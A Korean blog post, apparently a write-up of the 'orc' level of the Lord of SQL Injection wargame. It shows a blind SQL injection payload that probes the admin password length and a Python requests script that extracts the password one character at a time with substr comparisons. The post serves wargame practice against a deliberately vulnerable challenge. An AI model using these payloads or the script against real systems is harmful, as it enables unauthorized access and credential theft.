도카이트

[Wargame] Lord of SQL Injection - orc 본문

Wargame/Lord of SQL Injection

[Wargame] Lord of SQL Injection - orc

dodoh4t 2022. 6. 8. 00:54
728x90
반응형

문제 화면

[LoS - orc]

- pw 값에 admin의 pw 값과 일치하는 pw 값을 입력하면 문제가 해결되는듯 하다.

- 하단의 $result 선언 행 아래의 if 문으로 인해, admin의 pw 값을 직접 알아내야한다.

- 따라서, admin의 result 값을 출력하는 것이 전부가 아닌, admin의 pw 값을 알아내야한다.

- Blind SQL Injection을 통해 admin의 pw 값을 획득해보자 !

 

 

length(pw)를 이용한 admin의 pw 길이 확인

[length(pw)를 이용한 admin의 pw 길이 확인]

- admin의 pw 값을 확인하기에 앞서 먼저, pw의 길이를 먼저 알아내야 한다.

- pw 길이를 알아내기 위해 사용한 SQL Injection 구문은 다음과 같다.

- pw=’ or id=’admin’ and length(pw)=8%23

- pw 길이의 경우 길어야 20자리 이내로 끝날거 같았기에, 손수 복붙 타이핑으로 8 까지 반복했다.

- 처음에는 대입 숫자 뒤에 # 을 작성하여 주석 처리를 시도하였으나, 잘 되지 않아..

- URL 인코딩을 이용해서 %23으로 작성하였더니 성공적으로 Hello admin이 출력되었다.

- 이를 통해 admin의 pw 길이는 총 8자리 임을 확인할 수 있다 !

- pw 길이를 알아내었으니, pw의 값을 알아내보자 !!

 

 

pw 값 획득의 경우는 알파벳 대소문자부터 숫자, 특수문자까지 대입하여야 할 값들이 기하급수적으로

많아지기에, 수동적으로 직접 대입하기엔 시간적 무리가 크다. 따라서 파이썬의 requests 모듈

이용하여 코드를 작성해 빠르게 값을 알아내보도록 하자 !

 

 

los_orc.py 작성

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
pw = ""

for i in range(1, 9):
    for j in range(33, 128):
        target_url = url+"?pw='or id='admin' and substr(pw,{},1)='{}'%23".format(i,chr(j))
        cookies = {'PHPSESSID':'사용자 PHPSESSID 값'}
        r = requests.get(url=target_url, cookies=cookies)
        
        if "Hello admin" in r.text:
            pw += chr(j)
            print(str(i)+"번째 자리 패스워드 : "+chr(j))
            break
print("패스워드 : "+pw)

- admin의 pw 값을 알아내기 위해 작성한 Blind SQL Injection 파이썬 코드는 다음과 같다.

- i의 range를 (1,9)로 설정함으로써, 총 8자리의 pw 값을 알아낼 수 있으며,

- j를 chr() 함수를 이용해 range(33, 128)를 대입하여, 알파벳 대소문자, 숫자, 특수문자를 pw 값과 일치하는지 대조한다.

- 값이 참이 되어, Hello admin 문자열이 화면에 출력될 경우 각 자리 값들을 더하여 최종 pw 값을 출력한다.

 

 

los_orc.py 실행 결과

[los_orc.py 실행 결과]

- 성공적으로 admin의 pw 값을 획득할 수 있다.

- 4번째 자리 패스워드 A는 소문자 a로 작성하여 pw 값에 입력하면…

 

 

LoS_orc 클리어 !

[LoS - orc Clear!]

- orc 문제를 성공적으로 Clear 할 수 있다 !!

728x90
Comments